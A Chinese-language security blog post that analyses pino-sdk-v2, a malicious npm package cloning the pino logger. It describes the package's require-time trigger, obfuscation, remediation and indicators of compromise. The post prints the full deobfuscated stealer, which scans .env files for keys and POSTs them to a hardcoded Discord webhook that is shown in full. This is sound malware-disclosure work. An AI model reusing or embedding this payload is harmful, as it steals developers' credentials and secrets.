恶意 npm 包 pino-sdk-v2 窃取密钥至 Discord

目录

概述

我们发现了一个恶意 npm 包 pino-sdk-v2,它冒充了 pino——一款每周下载量近 2000 万次的最流行 Node.js 日志库。该包是对 pino 源码、文档和 README 的近乎完整复制,仅增加了一处:lib/tools.js 中包含一个混淆后的恶意代码,会扫描 .env 文件中的密钥并将其发送到 require() 的 Discord webhook。

  • [email protected] 仅需一条命令即可复制 pino 的完整源码树,同时在 lib/tools.js 中注入了混淆后的凭证窃取代码
  • 恶意代码会扫描 .env.env.local.env.production.env.development.env.example 中的密钥
  • 提取的凭证被发送到硬编码的 Discord webhook
  • 无 install 钩子。代码在 require() 时执行,规避了仅标记 install 脚本的扫描工具

调查过程

package.json 列出了真实的 pino 作者、仓库地址、主页和描述。README 仅将 pino-sdk-v2 替换到安装命令中,其他部分完全照搬 pino 的文档、banner 图片和基准测试引用。开发者在 npm 页面扫描时不会发现任何异常。

package.json 文件在 [email protected] 和合法的 [email protected] 之间进行 diff,可以看到变更极少且仅聚焦于重命名:

diff
--- pino-9.9.0/package/package.json 1985-10-26 13:45:00 +++ pino-sdk-v2-9.9.0/package/package.json 1985-10-26 13:45:00 @@ -1,10 +1,10 @@ { - "name": "pino", + "name": "pino-sdk-v2", "version": "9.9.0", "description": "super fast, all natural json logger", - "main": "pino.js", + "main": "pino2.js", "type": "commonjs", - "types": "pino.d.ts", + "types": "pino2.d.ts", "browser": "./browser.js", "scripts": { "docs": "docsify serve", @@ -15,9 +15,9 @@ "test-ci": "npm run lint && npm run transpile && tap --ts --no-check-coverage --coverage-report=lcovonly && npm run test-types", "test-ci-pnpm": "pnpm run lint && npm run transpile && tap --ts --no-coverage --no-check-coverage && pnpm run test-types", "test-ci-yarn-pnp": "yarn run lint && npm run transpile && tap --ts --no-check-coverage --coverage-report=lcovonly", - "test-types": "tsc && tsd && ts-node test/types/pino.ts && attw --pack .", - "test:smoke": "smoker smoke:pino && smoker smoke:browser && smoker smoke:file", - "smoke:pino": "node ./pino.js", + "test-types": "tsc && tsd && ts-node test/types/pino.ts", + "test:smoke": "smoker smoke:pino2 && smoker smoke:browser && smoker smoke:file", + "smoke:pino2": "node ./pino2.js", "smoke:browser": "node ./browser.js", "smoke:file": "node ./file.js", "transpile": "node ./test/fixtures/ts/transpile.cjs", @@ -35,7 +35,7 @@ "update-bench-doc": "node benchmarks/utils/generate-benchmark-doc > docs/benchmarks.md" }, "bin": { - "pino": "./bin.js" + "pino2": "./bin.js" }, "precommit": "test", "repository": { @@ -60,7 +60,6 @@ }, "homepage": "https://getpino.io", "devDependencies": { - "@arethetypeswrong/cli": "^0.18.1", "@types/flush-write-stream": "^1.0.0", "@types/node": "^24.0.8", "@types/tap": "^15.0.6", @@ -98,7 +97,7 @@ "through2": "^4.0.0", "ts-node": "^10.9.1", "tsd": "^0.32.0", - "typescript": "~5.9.2", + "typescript": "~5.8.2", "winston": "^3.7.2" }, "dependencies": {

名称、入口点和二进制文件均被重命名。其余内容(包括作者字段 Matteo Collina)、仓库 URL 和主页均完全复制自真实的 pino 包。

真实的 pino 包在 npm 上的 README

真实的 pino

恶意的 pino-sdk-v2 包在 npm 上的 README

恶意的 pino-sdk-v2

执行路径

入口文件 pino2.js 在正常初始化过程中加载 lib/tools.js,与合法 pino 的做法相同:

js
const { createArgsNormalizer, asChindings, buildSafeSonicBoom, buildFormatters, stringify, normalizeDestFileDescriptor, noop, } = require('./lib/tools');

攻击者选择 lib/tools.js 是因为它被无条件加载,且文件较大(300+ 行),足以隐藏注入的代码而不产生明显的视觉线索。

lib/tools.js 中的恶意载荷

混淆后的载荷被注入在 stringify 函数和 buildFormatters 函数之间,两侧以空白字符填充。它使用十六进制编码的变量名、字符串数组轮转和基于索引的查找来隐藏意图。

请查看合法 [email protected] 与恶意 [email protected] 之间 lib/tools.js 的 diff:https://www.diffchecker.com/xepKx048/

Pino-v2-sdk-diff

解混淆后的行为

混淆代码定义了一个 Run 类,包含以下方法:

findEnvFiles() 扫描当前工作目录中的环境文件:

js
// Targeted files const envFiles = ['.env', '.env.local', '.env.development', '.env.production', '.env.example']; for (const file of envFiles) { const filePath = path.join(this.projectRoot, file); if (fs.existsSync(filePath)) { results.push(filePath); } }

extractPrivateKeys() 读取每个 .env 文件,并使用六个正则表达式模式匹配目标密钥值:

js
const patterns = [ /^PRIVATE_KEY\s*=\s*(.+)$/i, /^SECRET_KEY\s*=\s*(.+)$/i, /^API_KEY\s*=\s*(.+)$/i, /^ACCESS_KEY\s*=\s*(.+)$/i, /^SECRET\s*=\s*(.+)$/i, /^KEY\s*=\s*(.+)$/i, ];

最后一个模式(/^KEY\s*=\s*(.+)$/i)过于宽泛,会匹配任何以"KEY="开头的行,这会增加泄露数据的量,但也会捕获更多凭证。

createDiscordEmbed() 将窃取的数据格式化为 Discord embed,包含:

  • 标题:"🔍 Results"
  • 颜色:红色(0xff0000
  • 每个提取的密钥一个字段,显示文件名、密钥名、值和行号
  • ISO 时间戳

sendToDiscord() 将 embed 发送到硬编码的 Discord webhook:

plaintext
hxxps://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE

scanAndReport() 方法负责协调所有操作:查找 env 文件、提取密钥、构建 embed、POST 到 Discord。它在模块加载时作为顶层异步调用运行:

js
async function log() { const webhookUrl = 'https://discord.com/api/webhooks/1478377161827029105/rFdz...'; const runner = new Run(webhookUrl); await runner.scanAndReport(); } log();

该函数被命名为 log(),与日志库中常见的命名一致。这种命名伪装是刻意为之。

检测挑战

该样本规避了常见的检测方法:

  • require() 时触发,而非 install 钩子。​ 大多数恶意软件扫描器会标记 preinstall / postinstall 脚本。此包没有任何此类脚本。载荷在库被实际应用到应用程序代码时激活,这是更晚且更少被审查的阶段。
  • 混淆。​ 十六进制变量名、字符串数组轮转和基于索引的查找可防止简单的基于 grep 的字符串扫描(如搜索"discord"或"webhook")。
  • 可信的元数据。​ package.json 中真实的 pino 作者、仓库和主页使 npm 注册表页面看起来合法。

[email protected] 进行文件 diff 可确认范围:仅 lib/tools.js 被修改,package.json 包含名称变更,pino.js 被重命名为 pino2.js。其他内容完全相同。

如果您受到影响该怎么办

  • 移除该包:npm remove pino-sdk-v2
  • 轮换在导入该包的项目目录中存储在 .env.env.local.env.production.env.development.env.example 文件中的任何密钥
  • 审计您的 npm lockfile 中对 pino-sdk-v2 的引用
  • 如果您运营目标 webhook,请检查 Discord 审计日志或 webhook 活动

对于关键系统,请将此视为凭证泄露。轮换 API 密钥、访问密钥以及存在于环境文件中的任何私钥。

妥协指标(IOC)

指标
包名称pino-sdk-v2
分析版本9.9.0
恶意文件SHA256 (./pino-sdk-v2-9.9.0/package/lib/tools.js) = 3733f0add545e5537a7d3171a132df51e0b4105aebe85db35dbe868a056d3d24
泄露方法Discord webhook(POST,JSON embed)
Webhook URLhttps://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE
目标文件.env.env.local.env.production.env.development.env.example
目标密钥PRIVATE_KEYSECRET_KEYAPI_KEYACCESS_KEYSECRETKEY
触发条件require('pino-sdk-v2')(无 install 钩子)

解混淆后的载荷

以下是注入到 lib/tools.js 中的恶意代码的解混淆版本,使用 deobfuscate.io 生成:

js
const _0x366c1f = require('fs'); const _0x45c7ed = require('path'); class Run { constructor(_0x39cf71) { this.webhookUrl = _0x39cf71; this.projectRoot = process.cwd(); } ['findEnvFiles']() { const _0x2727e8 = []; const _0x46afa7 = ['.env', '.env.example', '.env.local', '.env.production', '.env.development']; for (const _0x201ac2 of _0x46afa7) { const _0x3342b6 = _0x45c7ed.join(this.projectRoot, _0x201ac2); if (_0x366c1f.existsSync(_0x3342b6)) { _0x2727e8.push(_0x3342b6); } } return _0x2727e8; } ['extractPrivateKeys'](_0x371198, _0x41b9c9) { const _0x3e1c07 = []; let _0x2796a9 = _0x371198.split('\n'); if (_0x2796a9[0x0] && _0x2796a9[0x0].endsWith('\r')) { _0x2796a9 = _0x371198.split('\r\n'); } const _0x6db62a = [ /^PRIVATE_KEY\s*=\s*(.+)$/i, /^SECRET_KEY\s*=\s*(.+)$/i, /^API_KEY\s*=\s*(.+)$/i, /^ACCESS_KEY\s*=\s*(.+)$/i, /^SECRET\s*=\s*(.+)$/i, /^KEY\s*=\s*(.+)$/i, ]; _0x2796a9.forEach((_0x1dd75d, _0x18ec27) => { for (const _0x16ba03 of _0x6db62a) { const _0x3b88ca = _0x1dd75d.match(_0x16ba03); if (_0x3b88ca && _0x3b88ca[0x1]) { const _0x5719c4 = _0x3b88ca[0x1].trim().replace(/['"]/g, ''); _0x3e1c07.push({ key: _0x3b88ca[0x0].split('=')[0x0].trim(), value: _0x5719c4, line: _0x18ec27 + 0x1, }); } } }); return _0x3e1c07; } async ['sendToDiscord'](_0x436551) { try { const _0xf55f3d = await fetch(this.webhookUrl, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(_0x436551), }); if (_0xf55f3d.ok) { } else { } } catch (_0x215247) {} } ['createDiscordEmbed'](_0x5ad81b) { const _0xafeae9 = { title: '🔍 Results', color: 0xff0000, fields: [], timestamp: new Date().toISOString(), }; _0x5ad81b.forEach((_0x530115) => { _0x530115.keys.forEach((_0xe5d369) => { _0xafeae9.fields.push({ name: '📁 ' + _0x45c7ed.basename(_0x530115.file) + ' - Line ' + _0xe5d369.line, value: '**Key:** \`' + _0xe5d369.key + '\`\n**Value:** \`' + _0xe5d369.value + '\`', inline: false, }); }); }); return { embeds: [_0xafeae9], }; } async ['scanAndReport']() { const _0x3eff7a = this.findEnvFiles(); const _0x297a25 = []; for (const _0x1a964a of _0x3eff7a) { try { const _0x3aca2a = _0x366c1f.readFileSync(_0x1a964a, 'utf8'); const _0x2013bf = this.extractPrivateKeys(_0x3aca2a, _0x1a964a); if (_0x2013bf.length > 0x0) { _0x297a25.push({ file: _0x1a964a, keys: _0x2013bf, }); } } catch (_0x6be91c) {} } if (_0x297a25.length > 0x0) { const _0x28d820 = this.createDiscordEmbed(_0x297a25); await this.sendToDiscord(_0x28d820); } } } async function log() { const _0x2ec9d8 = new Run( 'https://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE' ); await _0x2ec9d8.scanAndReport(); } log();
  • vet
  • cloud
  • malware
  • supply-chain-security
  • npm
  • credential-theft

SafeDep 博客最新更新

关注以获取开源安全与工程的最新动态和洞察